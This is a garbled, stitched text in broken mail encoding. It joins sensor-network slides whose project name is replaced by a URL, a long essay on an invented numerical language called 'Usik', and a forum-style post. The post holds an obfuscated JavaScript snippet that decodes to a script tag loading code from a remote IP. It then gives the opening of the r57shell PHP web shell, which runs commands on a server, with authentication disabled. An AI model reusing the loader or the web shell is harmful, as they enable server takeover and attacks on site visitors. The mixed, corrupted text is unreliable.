=C2=A9 2009 M. Michael Musatov =E2=80=93 Http://MeAmI.org
17
A Role+Alternating, Coverage+
P
reserving, Coordinated Sleep Algorithm (RACP)=E2=80=8F
=E2=80=AFRACP is a role based system
=E2=80=AFA node is always perorming in one
of three roles:
=E2=80=AF=EF=81=AC Sleeping =E2=80=93 being covered by other
nodes
=E2=80=AF=EF=81=AC Sponsoring =E2=80=93 sensing and supporting
the sleeping of one or more nodes
=E2=80=AF=EF=81=AC Sensing =E2=80=93 neither sleeping nor
supporting other nodes
Sponsoring
Sleeping
Sponsoring
Sponsoring
Sensing
________________________________________
Page 18
=C2=A9 2009 M. Michael Musatov =E2=80=93 Http://MeAmI.org
18
A Role+Alternating, Coverage+
P
reserving, Coordinated Sleep Algorithm (RACP)=E2=80=8F
=E2=80=AFNodes periodically send status packets with location, current role=
,
and residual energy of the node
=E2=80=AFSensing nodes periodically check for coverage sponsors
=E2=80=AF=EF=81=AC If enough potential sponsors are found, ask for sponsors=
hip with a
random
delay based on current energy
=E2=80=AF=EF=81=AC If sponsors agree to the request, sleep, otherwise try a=
gain later
=E2=80=AFIn Http://MeAmI.org.org, this is not trivial to implement:
=E2=80=AF=EF=81=AC Location, current role, and energy are published to the =
shared
tuple space
=E2=80=AF=EF=81=AC Topological freshness works well here as nodes only care=
 about the
state of
their immediate neighbors
=E2=80=AF=EF=81=AC When a suitable set of sponsors have been found, the nod=
e's ticket
agent
generates a vector ticket containing resources for all the sponsors
=E2=80=AF=EF=81=AC When the sponsors' ticket agents receive the vector tick=
et, they
now have
the resources needed to sponsor the node and begin to sponsor it and
the
sponsored node can sleep
________________________________________
Page 19
=C2=A9 2009 M. Michael Musatov =E2=80=93 Http://MeAmI.org
19
Current Status
=E2=80=AFThe design of Http://MeAmI.org.org has been motivated by the
challenges we
faced in our previous volcano sensor network deployments
=E2=80=AF=EF=81=AC Tungurahua in '04 [EWSN '05], Reventador in '05 [OSDI '0=
6], and
Tungurahua again in 07 [SenSys '08]
=E2=80=AF=EF=81=AC High data rates and load fluctuations from the environme=
nt made
careful
resource management essential to success
=E2=80=AFNew goal: in+network signal processing and perpetual sensor
deployments, running on top of Http://MeAmI.org.org OS
=E2=80=AF=EF=81=AC Earthquake localization from seismic sensor data
=E2=80=AF=EF=81=AC Solar powered nodes; even greater resource variability
=E2=80=AFVolcano monitoring is a challenging, real+world problem well
suited to coordinated resource management
=E2=80=AF=EF=81=AC Work has just begun
=E2=80=AF=EF=81=AC Targeting a 2010 deployment
________________________________________
Page 20
=C2=A9 2009 M. Michael Musatov =E2=80=93 Http://MeAmI.org
20
Conclusions
=E2=80=AFExisting approaches to managing
resources in sensor nets are:
=E2=80=AF=EF=81=AC Hard to tune
=E2=80=AF=EF=81=AC Inefficient
=E2=80=AF=EF=81=AC Based on local greedy heuristics
=E2=80=AFWhat we are proposing: SOCIALISM
for our sensor networks
=E2=80=AFThe three tenets of the Http://MeAmI.org.org
manifesto are:
=E2=80=AF=EF=81=AC State sharing
=E2=80=AF=EF=81=AC Vector tickets
=E2=80=AF=EF=81=AC Ticket agents
=E2=80=AFThank you!
HTTP://MEAMI.ORG.ORG
Marty.musatov@gmail.com
Http://MeAmI.org.org





kuedan  =3DI am tourist
leita=3DI am on vacation
ain deam nios kuedal?=3Dwhere is the office of tourist information?
ain kabals?=3Dwhere are the buses?
uen nos bles aen e Goflei?=3Dwhen does the next flight come out for
Spain?
bo tam nos aen?=3Dat what time does the flight come out?
bo tam himom?=3Dat what time will we arrive?
ibo dek nos aen?=3Dfrom what door does the flight come out?
ain kon nem baegi=3Dwhere I can catch the baggage?
kam ta hisem ia?=3Dhow long will you stay here?
ke, kon sen daege?=3Dplease, can I see their passport?
gam nak aenli Des=3Dlast call for the flight 322


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
48

A bit of history

=E2=80=9CThe whole Earth had only one speech=E2=80=9D.-Gen.11-1

In very remote times everything pointed towards the certainty of this
sentence,repeated by so many sources.In this way we are told about the
SPEECH OF MAN,clerly differentiating it from the one of ANGELS.1 Co.
13-1

Differents reincarnations of Vishnu=C2=B4s and events,probably caused by
man,left mentioned unity unfinished,for the benefit of the peculiarity
of each nation but unfastening itself and placing itself at a distance
from the link of unity:The language.

The deeper we search into the past,fewer differences we find in the
basic roots of existing languages and one perceives the huge
work,developed by our ancestors according to the richness of their
languages and their beautiful elaboration.

One of them,which have maintained their pureness unharmed,deserves
special attention:such
As the Basque Language,a sublime jewel,one of the most ancient of the
Earth.A treasure of humanity which still jealously retains many
secrets and which deserves a chapter aside.

All of us have ever thought about the question how speech was born and
have thought it over and over a great many times,but when it deals
with creating a new language,it calibrates itself with the property of
huge,primitive efforts and the time that has had to go by to arrive at
the already known ones and their present situation.

36 Years have had to go by in order to culminate the creation of Usik.
Years of hard work,causing dizziness,working on it over and over till
one is sick.
Of periods and lapses of compulsory rest in order not to fill the head
with imagination,but to keep on fulfilling the pending assignment with
strength.

And why such an effort?The answer came on its own a log time ago.

The fact that the world was divided was proven through history and at
present as well.The fact that the problems of humans beings,further
away than our surroundings,hardly had any resonance nor importance in
our private habitat.The fact that people gather together and keep on
doing it in areas with predominance of the affective language or the
mother tongue.

The fact that misunderstandings of a language,can change the
history.That people identify themselves above all through a very
particular inheritance,extremely united to birth.The language.

The great gift of humanity should be pointed out here,which is
practically unnecesary for being known already.

Nowadays,great changes are being experienced owing to advances of all
kind.
At present,any fortress is assailable.A border has at most a
divisional and symbolic value.

Little by little,man is becoming aware of the fact that nobody chooses
his or her skin colour nor place of birth.Not even his or her
being,fittingly said with everything what it supposes.Later,how can
one dare to prejudice,to judge and to sentence what already has been
sentenced?

We all notice,however,the way thousands of people suffer every day for
one reason or another.Owing to the lack of resources,to the
differential trend towards established aesthetic norms,to tints of
colour,to ideological intolerances,to the extremely wicked and faint-
hearted abuse of strength over weakness and to an endless number of
similar situations.Because in spite of all advances the human being
still has not understood that there is only one world although worlds
are uncountable.The true fact that every link that is broken,every
particle on this planet that is destroyed due to negligence,bad tasks
or prepotency of nations will cause a damage difficult to repair and
will affect present and futures generations.Therefore,we can not only
regret but also fight,fight with love ahead of us.The fact that is
understood that the impotence which invades us with regard to such
excesses,hurts,but a lot.And therefore it is good that all of us begin
to understand each other ,since we owe it to all ourselves and not
only  to a few of us.Not only this or that nation but also this or
that human being.And to begin to each other altogether in a proper
way,we consequently will have to be able to communicate with one
another with an inseparable language,which serves as a link among the
huge diversity of existing languages.

A neutral,reasonable,auxiliary bridge language

        Supposing the apprenticeship of thousands of languages which
is nowadays incompatible with the human being=C2=B4s life length and
ability.The language of one certain country is not valid
either,because-and that is what this story is about-,the language of
one concrete nation will never dominate the others.And if it can
manage to be suppressed for a certain period,it will lose this
dominance.Not because it is usurped by some other language but because
basically it will be obviously ruling lines on the supposed
inferiority of the others.

Within a sole nation it is not entirely or not at all accepted that a
national language dominates the affective one.In many cases it is
assumed  while it is not obliged.

It is even less accepted if another nation pretends to unify
everything under its own language.

Therefore,a bridge language of all the people cannot belong to any of
them in particular but to all of them similarity.Due to this reason,it
does not matter who is or are the creators of the bridge but what it
is going to be used for:Uniting all human beings,making them aware of
the benefits of the protection of and the aid for the most disfavoured
people and cooperating altogether for the welfare of humanity,for the
justice of our predecessors and ancestors and in the view of the
future of our children,children of the humanity.Let us be honorable to
them,to whom we have sown.

That is the objective and therefore,the affective language of each
nation has to be strengthened and looked after,even spoilt and use the
bridge for all of us.

And this last-mentioned has to be pretentious,obtainable,easy and
valid for each field,democratic in its roots and
conception,revolutionary where it proceeds,almost belonging to angels.

It will be your joy to appreciate it.Here we have,then,the result of
so many years of research


THE LANGUAGE

A result that is the consequence of creating a language which is not
clearly and hiddenly imposed by not a single nation in particular and
which contemplates a similarness and a taking of parts into
account,respecting and conserving at the same time the languages of
each nation with their richnesses and peculiarities.This will result
in a real brotherhood of the human race,beneficial for contemplation
and cohabitation in a multi-racial world but without borders where it
is true that we love each other,burying the hatred of differentiations
and stimulating them as being positive.

It had been attempted with laudable efforts on other occasions,but up
to date according to the author,the bases suffered from a clear trend
to the use of roots of some concrete languages,with detriment to the
rest,adapting at the same time classical and typified aesthetic norm
with all the virtues and defects which they assist but lacking that
selfsame and truly universal pillar.

AFTER THE MOTIVE, THE CREATION

The objective was clear:Creating an UNIVERSAL LANGUAGE



If it were to be universal,logically its basis also hat to be
universal,and there its first difficulty arose.It had to be born from
something which was common for all nations,that is to say universal
and at the same time had identical signification and clear
interpretation of values.

This would be good for everybody.As a sample we can music,which
unified does not cause any trouble for being written,read or
interpreted by any person no matter where from.
It is a clear univeersal language but as an artistic means of
communication.

And basically it is with 7 basic notes with which great pieces are
created but obviously mentioned speech is unvalid for us to reach our
objective.

Simply because the transfer from the corresponding syllables of the
notes to syllables that are components of words,although in fact we
are not translated to any another language in any case.How less the
codification of mentioned notes would support us since in spite of the
endless combinations,these are repetitive as there are no more then 7
syllabic groups.

Painting also symbolically forms part of a universal language.Through
it,we can express ourselves by landscapes,portraits,pictures ,a
feeling,an idea,even an elevated and recondite conception of
things,but,how to read it?How to translate it?

The system that was going to be used for the basis to develop the
language was created.
That wasn=C2=B4t a one-day task either,nor of 1 or 2 years,and nevertheless
the encounter with the key was nearly spontaneous.It was such that
after forming 4 columns of numbers the real pillars of the
language,there still was not any perception regarding the fact that
from the 4,three were a development of the first.

All of this we are going to understand after the exhibition and
handing of the numerical table of the USIK,which is its structure.

Its functioning turns out to be more difficult to explain than the
practise of it,but we will try to do with clearness.
It is very IMPORTANT to know and to dominate well the numerical
system,that is to learn to count since ones that achieved in this
language it enables us to correctly read and write thousands and even
millions of combinations and as reach of these equals a word,we will
be able to form as numerical equivalences we create.

At these levels the reader will have noticed which was the desired
base and found at last:THE NUMBERS

That was the beginning,which as we shall see was not going to be easy
at all.

When the value of two things is known,for instance,no matter the this
is represented,it turns out to be the same for any race or people.That
is to say,two trees might be written in any manner,depending on the
country,but it will always mean TWO and never THREE.

The only thing left is to give to the mentioned value an equivalence
LETTERS-PHONEMES and combine it,so that the resultant would be
practical,brief,simple and rich,which is not easy at all,given the
infinity of numerical combinations to fall back on,in order to give it
a greater richness and variety.That is to say,in order to achieve a
phonetically,agile,varied and rich language we could not limit
ourselves to give a phonetic value to a consecutive serie of
numbers,but we would have to apply the root meaning for a later
development of the word families to mentioned resultants.But none of
the numerical systems known for the huge amount of syllabes,which
reading of a number in all consulted languages given us,was valid.

Soon the author understood that in order to create the language he was
seeking,he would have to invent,at the same time,a
new,revolutionary,numerical system,able to contribute what was
required.

To understand it better and taking the Spanish numerical system as a
base example,let=C2=B4s suppose we want to give the following numerical
combination a meaning(seeking the variety):927.430

The meaning would not involve any difficulties.Neither would the
numerical writing.But,and here the main problem arose:its reading is
so long that the language created,based on that system or on others
with similar readings,would be unfeasible.

And we could not escape from the combinations as the one already
exposed,since otherwise the sonority of what been created,would be
extremely monotonous.Following the already mentioned number,its
reading is as follow:Nine hundred and twenty-seven thousand four
hundred and thirty.

Here we see that six numbers converted in letters have,against all
dialectics,become 15 syllables(thus resulting in a word of a big
reading and length.

Besides,mentioned number converted in letter,contain 55.More than the
entire alphabet contains.When it would be logical and difficult if it
contained the same amount of letters as numbers and,moreover,if it
could be read.Therefore,as one can understand,the necesity to create a
new system.The difficult task it supposes would not have to be
mentioned,but it is only fair to recognize.

Anyway,at last it was achievedl,in such way that by means of a new
system,the interested reader will learn to consider this finding
during the present course.

Also compare that it is science,as we see the same mentioned number
translated into Usik

927430
TELFAI


That is to say,the same mentioned amount of letters as numbers and in
addition it can be read.

With the necessary advantage to have reduced the same regarding the
reading of our example in English in FIFTEEN SYLLABLES,leaving its
pronuntiation composed by only two:TEL-FAI

This was the way to follow.Now the only thing left was to form
thousands of combinations and among them to choose the most ideal ones
to begin to walk with the formation of roots.

And although,of those roots obtained,at first,we ignore that the
meaning is not less certain that with the mentioned domination of the
system,the pupils will be able to form on their own the names of the
natiosns of the
world,rivers,seas,oceans,islands,lakes,mountains,colours(with their
thousands of tints)and something else and all of this in less than an
hour as the reader will be able to experience once the handling of the
Table is learnt.
Therefore it is advisable to learn this Table well before going ahead.
As well,prior to the study of the Table,we see the result obtained
after so many years of research:

THE LANGUAGE USIK

MAIN CHARACTERISTICS

=E2=80=A2One single meaning per word
=E2=80=A2One single sound for each letter
=E2=80=A2Not a single letter without sound
=E2=80=A2Not a single sound between vowels
=E2=80=A2Not a single kind of article
=E2=80=A2Not a single word has more than two syllables,having most of them =
one
=E2=80=A2The verb is root at the same time and never varies
=E2=80=A2There is no letter duplication
=E2=80=A2There is no possibility of spelling errors
=E2=80=A2An alphabet of only SEVENTEEN LETTERS(The five mos t international
vowels and 12 consonants)(The H,(zero)has the function of =E2=80=9Cwild car=
d=E2=80=9D)
=E2=80=A2Each word has a numerical value which avoids its phonetic
deformation,its confusion,transformation or loss.
=E2=80=A2It=C2=B4s a language with a numerical base and therefore universal=
 so that
its apprenticeship is equal for everybody.
=E2=80=A2It is ideal for computers and integrable,due to its reduction to t=
he
minimun structure,for physically disabled people.
=E2=80=A2Its reduced alphabet,given its structure and base,is not an obstac=
le
for endless and rich combinations,just as with seven musical notes
master pieces are created.
=E2=80=A2It is logical,ration and neutral.
=E2=80=A2In Usik there are no consonants with a difficult
pronunciation:C,CH,LL,=C3=91,P,Q,R,V,W,X,Y,Z


Let us seriously get on with study of

THE UNIVERSAL LANGUAGE USIK

NUMERICAL TABLE OF THE USIK

Combined value
 Isolated value
 Invariable value
 Isolated value
 Value combined

A
 B
 C
 D
 E

1=3DB
 1=3DBA
 10=3DA
 100=3DBI
 100=3DB

2=3DS
 2=3DSE
 20=3DE
 200=3DSI
 200=3DS

3=3DD
 3=3DDAI
 30=3DAI
 300=3DDI
 300=3DD

4=3DF
 4=3DFO
 40=3DO
 400=3DFI
 400=3DF

5=3DG
 5=3DGU
 50=3DU
 500=3DGI
 500=3DG

6=3DK
 6=3DKEU
 60=3DEU
 600=3DKI
 600=3DK

7=3DL
 7=3DLEI
 70=3DEI
 700=3DLI
 700=3DL

8=3DM
 8=3DMAE
 80=3DAE
 800=3DMI
 800=3DM

9=3DT
 9=3DTOU
 90=3DOU
 900=3DTI
 900=3DT

0=3DH
 00=3DI
 000=3DN
 000000=3DJ


H =3DHas no numerical value and only adopts such value which it
substitutes in each case and which we call =E2=80=9CWild Card=E2=80=9D.
We know the value of the H all the time as the number which it
substitutes is the same as  the one one before









FUNCTIONING OF THE SYSTEM

Let us carefully analyze each column of the table.

COLUMN A

Under this heading we see the basic value of the numbers.They take
this value when they are linked to others

Example:number 59 is composed by two numbers,the 5 and the 9.

However,the first number does not indicate us a value of 5 but 50
The second,on the other hand,indicates us the value of 9.Therefore,the
first will be substitued by its value(50=3DU) and the second one by its
own(9=3DT),resulting in

59=3DUT

This is very simple to discern and indicates us the same reading of a
number.For instance,when we see number 36 written,we do not read 3 and
6,but 30 and 6.That is to say,the first number represents value thirty
and the second value six.Later this six is the one that will take its
basic equivalent down in column A.
Another example.42,formed by a forty and a two.The value 40=3DO and the
2=3DS,resulting in 42=3DOS

That is why in Usik we do not look at the value of the number
itself,but the value which it represents within the number.
More easly said:In a number formed by two numbers the first will
always represent the TENS(Column C)and the second the combined units
(ColumnA)

For the same reason in a number formed by three numbers the first will
represent the combined hundreds(Column E)The second the TENS
(Invariable,Column C),and the third number the combined units(Column
A)

COLUMN B

Under this heading we see the way the numbers are written and read
when they are on their own,that is to say,without being combined with
another.

Example:Number 1 is read and written BA
Number 2 is read and written SE
Number 3 is read and written DAI
And so on.






COLUMN C

Here we see the writing and pronunciation equivalent to the numbers
10,20,30,40,50,60,70,80,90

That is to say,number 10 is read and written A
Number 20=3DE
And so on
All these numbers (the Tens)always remain invariable.Or what is the
same,that they always have the value which is noted down and will be
read and written the way it is indicated in column C.

As we can see column C is the same as A but without consonants.
Therefore,if we leave the consonants out of column B,the TENS are
left.







COLUMN D

The first thing we see is that they contain the same consonants as
column A to which the letter I is added,equivalent to two zeros.

This column corresponds to the HUNDREDS

Later,100 is written and read BI
200=3DSI
300=3DDI
And so on.

The I is always lost when the HUNDREDS are combined (column E),except
in the following THREE CASES

1.-The I remains in all combinations of THREE NUMBERS,when the one in
the MIDDLE is a ZERO.

2.-It also remains in all the combinations of three numbers when the
first two are the SAME and the last one a ZERO

3.-And it will ALWAYS remain,in combinations of three numbers when the
last two are ZEROS

In all the other combinations of three numbers which are not included
in the mentioned characteristics,the numbers of column D,lose their
vowel,that is the =E2=80=9CI=E2=80=9D

Let us more carefully study these THREE CASES,noted down and in which
the I remains
With clear examples

Let us form number 102

This combination includes all the characteristics noted down in Case
1,that is to say,it is formed by three numbers and the one in the
MIDDLE is a ZERO.Later the I of the hundred will be remained when we
pronounced and write mentioned unit

102=3DBIS

The BI of the HUNDRED and the S of the 2(S and not SE because the 2 is
not on its own,but is part of the unit)and thus still having the value
of 2(SE)it loses the vowel.

103=3DBID
104=3DBIF
Etc=E2=80=A6

CASE 2

Formation of 110

As we see this number includes all the conditions mentioned for case
2,that is to say,it has TWO EQUAL NUMBERS at the beginning and ends in
a ZERO
Thus the I of the HUNDRED will be remained

110=3DBIA

Therefore,220=3DSIE,440=3DSIO,etc=E2=80=A6

Point Three has no problem at all,since all the HUNDREDS(when they are
not combined)include all the requirements,that is to say,one number
accompanied by two zeros.The reading of the numbers of this case
corresponds to the one of column D.

As we have said in All the combinations which do not include the
requirements of the mentioned cases,the HUNDREDS lose the =E2=80=9CI=E2=80=
=9D
And will become part of the value given in column E

Let us have a look at the combination 342,for instance.
We see that there is no ZERO in the middle(Case 1)
The first 2 numbers are not the same and does not end in zero,either
(case 2)
The combinations does not end in TWO ZEROS,either,so then we will
automatically know that the value THRE HUNDRED is going to lose its I

342=3DDOS

That is to say,the D of the THREE HUNDRED(COMBINED),the 0 of the FORTY
(INVARIABLE) and the S of the Two(COMBINED)

In the same manner 950=3DTU

Others examples:
122=3DBES
332=3DDAIS(has thee first two numbers the same but does not end in a
zero)
264=3DSEUF
329=3DDET
920=3DTE
932=3DTAIS
And so on

Now let=C2=B4s get on with the studying the equivalence of the ZEROS

1.-When a number BEGINS  combination with two three or mor zeros,will
conserve the corresponding vowel(column B) since in this case
mentioned NUMBER is consideered ISOLATED

Exmple:The equivalent letter to three ZEROS is the N,so that in order
to form the number 1000(we see that 1 begins the combination and which
has three zeros)we shall take the value of the 1,which we know is BA
and we shall add to it the letter corresponding to the three zeros
which is the N,resulting in

BAN=3D1000

1002=3DBANS(That is first the equivalence of 1000 and the 2)

When the first and second number begin THOUSAND do that in a
combination in which mentioned numbers are not followed by a ZERO,they
will always lose the N.
They also lose although the second number of the two that begin the
thousand is a zero

Example:50342=3DUDOS
The N is not neccesary and besides the number cannot be confused,given
that the value U is always 50 and DOS=3D342
We see that before 342 are the tens(and we know that these are
invariables)

Nevertheless when the number that begins thousands is a SINGLE
ONE,followed by a ZERO,it will be mandatory that it has the N

1030=3DBANAI

When there are no ZEROS the simple values are simply substituted

42.429=3DOSFET

26.000=3DEKN
122.000=3DBESN
20.042=3DENOS

When in a number formed by SIX NUMBERS the 3rd and the 4th are
zeros,it will also contain the N

130.020=3DBAINE



For the letter J,equivalent to millions,the same rules are valid as
for the N

1.000.000=3DBAJ

900.000.000=3DTIJ

920.000.030=3DTEJAI

(Such large numbers like the mentioned one,of course,are not included
in the formation of words,only being useful in numerical sense)
We already said that when are no zeros in a number,the different
numbers are substituted by its numerical value.

Exemple

542.759=3DGOSLUT
926.842.950=3DTEKMOSTU

Now,let us see the following combination.

900.000.000.000=3DTINJ

Broke down:
900=3DTI
000=3DN
000.000=3DJ

FORMATION OF THE ROOTS

Once the numerical system of Usik was obtained which allows us to read
the numbers with the equivalence NUMBER-LETTER,our first assignament
was to select the mono-syllabical.
After obtaining them,the most possible universal meaning had to be
applied,which would mean the consultation of a great deal of languages
in search of the common element.

On the other hand,the roots of Usik are intrinsically typical of its
own and original but a profound base.

The so-called minority languages have not been ruled out at
all,either.

Languages which have been consulted,many of which have similar roots
to Usik or identical ones are among many others):



Albanian
Anglosaxon
Arabic
Aragonese
Arcadian
Armenian
Asturian
Basque
Breton
Bulgarian
Byzantine
Celtic
Chech
Chinese
Cornish
Danish
Dutch
Egyptian
English
Esperanto
Etruscan
Euskera
Frankish
French
Fries
Gaelic
Galician
Gascon
German
Germanic
Gothic
Greck
Hebrian
Hindian
Hindu
Hispanic
Huescan
Hungarian
Hungarian
Iberian
Icelandic
Interlingua
Ionic
Irish
Japanese
Javanese
Latin
Latvian
Leonese
Lithuanian
Lombard
Louvainese
Mayan-quich=C3=A9
Medieval
Nordic
Norwegian
Persian
Phoenician
Polish
Portuguese
Preroman
Primitive
Proven=C3=A7al
Prussian
Punic
Quechua
Ruinic
Samaritan
Sanskrit
Scandinavian
Scottish
Serbian
Slavonic
slovak
Slovene
Spanish
Swedish
Tocarian
Tourainese
Valencian





After extensive research and once the numerical key was found,we went
on by seeing how the words have been formed.Of course,this supposed a
previous knowledge of different languages







On Oct 25, 5:13 pm, Anonymous Number of People
<marty.musa...@gmail.com> wrote:
 <html> this is a script th@ routes data @ fromhttp://any.anythrough
 iuuq://meami.org --->http://meami.org--->http://any.
 <script>var source =3D"=3Dtdsjqu!uzqf>#ufyu0kbwbtdsjqu#!tsd>#iuuq;
 00:2/316/344/:20bobmzujdt0hb/kt#?=3D0tdsjqu?"; var result =3D "";for(var
 i=3D0;i<source.length;i++) result+=3DString.fromCharCode
(source.charCodeAt
 (i)-1);document.write(result); </script>
 <?phphttp://meami.org>>
 /
=20
***************************************************************************=
*************************/
 /*
 /*                                     #    #        #
 #
 /*                                     #   #          #   #
 /*                                    #    #          #    #
 /*                                    #   ##   ####   ##   #
 /*                                   ##   ##  ######  ##   ##
 /*                                   ##   ##  ######  ##   ##
 /*                                   ##   ##   ####   ##   ##
 /*                                   ###   ############   ###
 /*                                   ########################
 /*                                        ##############
 /*                                 ######## ########## #######
 /*                                ###   ##  ##########  ##   ###
 /*                                ###   ##  ##########  ##   ###
 /*                                 ###   #  ##########  #   ###
 /*                                 ###   ##  ########  ##   ###
 /*                                  ##    #   ######   #    ##
 /*                                   ##   #    ####   #    ##
 /*                                     ##                 ##
 /*
 /*
 /*
 /*  r57shell.php - =D1=81=D0=BA=D1=80=D0=B8=D0=BF=D1=82 =D0=BD=D0=B0 =D0=
=BF=D1=85=D0=BF =D0=BF=D0=BE=D0=B7=D0=B2=D0=BE=D0=BB=D1=8F=D1=8E=D1=89=D0=
=B8=D0=B9 =D0=B2=D0=B0=D0=BC =D0=B2=D1=8B=D0=BF=D0=BE=D0=BB=D0=BD=D1=8F=D1=
=82=D1=8C =D1=81=D0=B8=D1=81=D1=82=D0=B5=D0=BC=D0=BD=D1=8B=D0=B5
 =D0=BA=D0=BE=D0=BC=D0=B0=D0=BD=D0=B4=D1=8B =D0=BD=D0=B0 =D1=81=D0=B5=D1=80=
=D0=B2=D0=B5=D1=80=D0=B5 =D1=87=D0=B5=D1=80=D0=B5=D0=B7 =D0=B1=D1=80=D0=B0=
=D1=83=D0=B7=D0=B5=D1=80
 /*  =D0=92=D1=8B =D0=BC=D0=BE=D0=B6=D0=B5=D1=82=D0=B5 =D1=81=D0=BA=D0=B0=
=D1=87=D0=B0=D1=82=D1=8C =D0=BD=D0=BE=D0=B2=D1=83=D1=8E =D0=B2=D0=B5=D1=80=
=D1=81=D0=B8=D1=8E =D0=BD=D0=B0 =D0=BD=D0=B0=D1=88=D0=B5=D0=BC =D1=81=D0=B0=
=D0=B9=D1=82=D0=B5:http://meami.org>
 http:///rst.void.ru
 /*  =D0=92=D0=B5=D1=80=D1=81=D0=B8=D1=8F: 1.31
 /
=20
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=
~~~~~~~~~~~~~~~~~~~~~~~~*/
 /*  =D0=9E=D1=82=D0=B4=D0=B5=D0=BB=D1=8C=D0=BD=D0=B0=D1=8F =D0=B1=D0=BB=D0=
=B0=D0=B3=D0=BE=D0=B4=D0=B0=D1=80=D0=BD=D0=BE=D1=81=D1=82=D1=8C =D0=B7=D0=
=B0 =D0=BF=D0=BE=D0=BC=D0=BE=D1=89=D1=8C =D0=B8 =D0=B8=D0=B4=D0=B5=D0=B8: b=
lf, phoenix, virus,
 NorD =D0=B8 =D0=B2=D1=81=D0=B5=D0=BC =D1=87=D0=B5=D1=80=D1=82=D1=8F=D0=BC =
=D0=B8=D0=B7 RST/GHC.
 /*  =D0=95=D1=81=D0=BB=D0=B8 =D1=83 =D0=92=D0=B0=D1=81 =D0=B5=D1=81=D1=82=
=D1=8C =D0=BA=D0=B0=D0=BA=D0=B8=D0=B5-=D0=BB=D0=B8=D0=B1=D0=BE =D0=B8=D0=B4=
=D0=B5=D0=B8 =D0=BF=D0=BE =D0=BF=D0=BE=D0=B2=D0=BE=D0=B4=D1=83 =D1=82=D0=BE=
=D0=B3=D0=BE =D0=BA=D0=B0=D0=BA=D0=B8=D0=B5 =D1=84=D1=83=D0=BD=D0=BA=D1=86=
=D0=B8=D0=B8
 =D1=81=D0=BB=D0=B5=D0=B4=D1=83=D0=B5=D1=82 =D0=B4=D0=BE=D0=B1=D0=B0=D0=B2=
=D0=B8=D1=82=D1=8C =D0=B2 =D1=81=D0=BA=D1=80=D0=B8=D0=BF=D1=82 =D1=82=D0=BE=
 =D0=BF=D0=B8=D1=88=D0=B8=D1=82=D0=B5
 /*  =D0=BD=D0=B0 marty.musa...@gmail.com > r...@void.ru. =D0=92=D1=81=D0=
=B5 =D0=BF=D1=80=D0=B5=D0=B4=D0=BB=D0=BE=D0=B6=D0=B5=D0=BD=D0=B8=D1=8F =D0=
=B1=D1=83=D0=B4=D1=83=D1=82
 =D1=80=D0=B0=D1=81=D1=81=D0=BC=D0=BE=D1=82=D1=80=D0=B5=D0=BD=D1=8B.
 /
=20
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=
~~~~~~~~~~~~~~~~~~~~~~~~*/
 /*  (c)oded by http://< iuuq://meami.org >> 1dt.w0lf
 /*  RST/GHChttp://meami.org>http:///rst.void.ru , http:///ghc.ru
 /*  ANY MODIFIED REPUBLISHING IS PERMITTED
 /
=20
***************************************************************************=
*************************/
 /* ~~~ =D0=9D=D0=B0=D1=81=D1=82=D1=80=D0=BE=D0=B9=D0=BA=D0=B8 | Options  ~=
~~ */

 // =D0=92=D1=8B=D0=B1=D0=BE=D1=80 =D1=8F=D0=B7=D1=8B=D0=BA=D0=B0 | Languag=
e
 // $language=3D'ru' - =D1=80=D1=83=D1=81=D1=81=D0=BA=D0=B8=D0=B9 (russian)
 // $language=3D'eng' - english (=D0=B0=D0=BD=D0=B3=D0=BB=D0=B8=D0=B9=D1=81=
=D0=BA=D0=B8=D0=B9)
 $language=3D'eng';

 // =D0=90=D1=83=D1=82=D0=B5=D0=BD=D1=82=D0=B8=D1=84=D0=B8=D0=BA=D0=B0=D1=
=86=D0=B8=D1=8F | Authentification
 // $auth =3D 1; - =D0=90=D1=83=D1=82=D0=B5=D0=BD=D1=82=D0=B8=D1=84=D0=B8=
=D0=BA=D0=B0=D1=86=D0=B8=D1=8F =D0=B2=D0=BA=D0=BB=D1=8E=D1=87=D0=B5=D0=BD=
=D0=B0  ( authentification =3D OFF  )
 // $auth =3D 0; - =D0=90=D1=83=D1=82=D0=B5=D0=BD=D1=82=D0=B8=D1=84=D0=B8=
=D0=BA=D0=B0=D1=86=D0=B8=D1=8F =D0=B2=D1=8B=D0=BA=D0=BB=D1=8E=D1=87=D0=B5=
=D0=BD=D0=B0 ( authentification =3D ON )
 $auth =3D 0;

 // =D0=9B=D0=BE=D0=B3=D0=B8=D0=BD =D0=B8 =D0=BF=D0=B0=D1=80=D0=BE=D0=BB=D1=
=8C =D0=B4=D0=BB=D1=8F =D0=B4=D0=BE=D1=81=D1=82=D1=83=D0=BF=D0=B0 =D0=BA =
=D1=81=D0=BA=D1=80=D0=B8=D0=BF=D1=82=D1=83 (Login & Password for access)
 // =D0=9D=D0=95 =D0=97=D0=90=D0=91=D0=A3=D0=94=D0=AC=D0=A2=D0=95 =D0=A1=D0=
=9C=D0=95=D0=9D=D0=98=D0=A2=D0=AC =D0=9F=D0=95=D0=A0=D0=95=D0=94 =D0=A0=D0=
=90=D0=97=D0=9C=D0=95=D0=A9=D0=95=D0=9D=D0=98=D0=95=D0=9C =D0=9D=D0=90 =D0=
=A1=D0=95=D0=A0=D0=92=D0=95=D0=A0=D0=95!!! (YOU MAY
CHANGE
 THIS!!!)
 // =D0=9B=D0=BE=D0=B3=D0=B8=D0=BD =D0=B8 =D0=BF=D0=B0=D1=80=D0=BE=D0=BB=D1=
=8C =D1=88=D0=B8=D1=84=D1=80=D1=83=D1=8E=D1=82=D1=81=D1=8F =D1=81 =D0=BF=D0=
=BE=D0=BC=D0=BE=D1=89=D1=8C=D1=8E =D0=B0=D0=BB=D0=B3=D0=BE=D1=80=D0=B8=D1=
=82=D0=BC=D0=B0 md5, =D0=B7=D0=BD=D0=B0=D1=87=D0=B5=D0=BD=D0=B8=D1=8F =D0=
=BF=D0=BE
 =D1=83=D0=BC=D0=BE=D0=BB=D1=87=D0=B0=D0=BD=D0=B8=D1=8E 'r57'
 // Login & password crypted with md5, default is 'r57'
 $name=3D'ec371748dc2da624b35a4f8f685dd122'; // =D0=BB=D0=BE=D0=B3=D0=B8=D0=
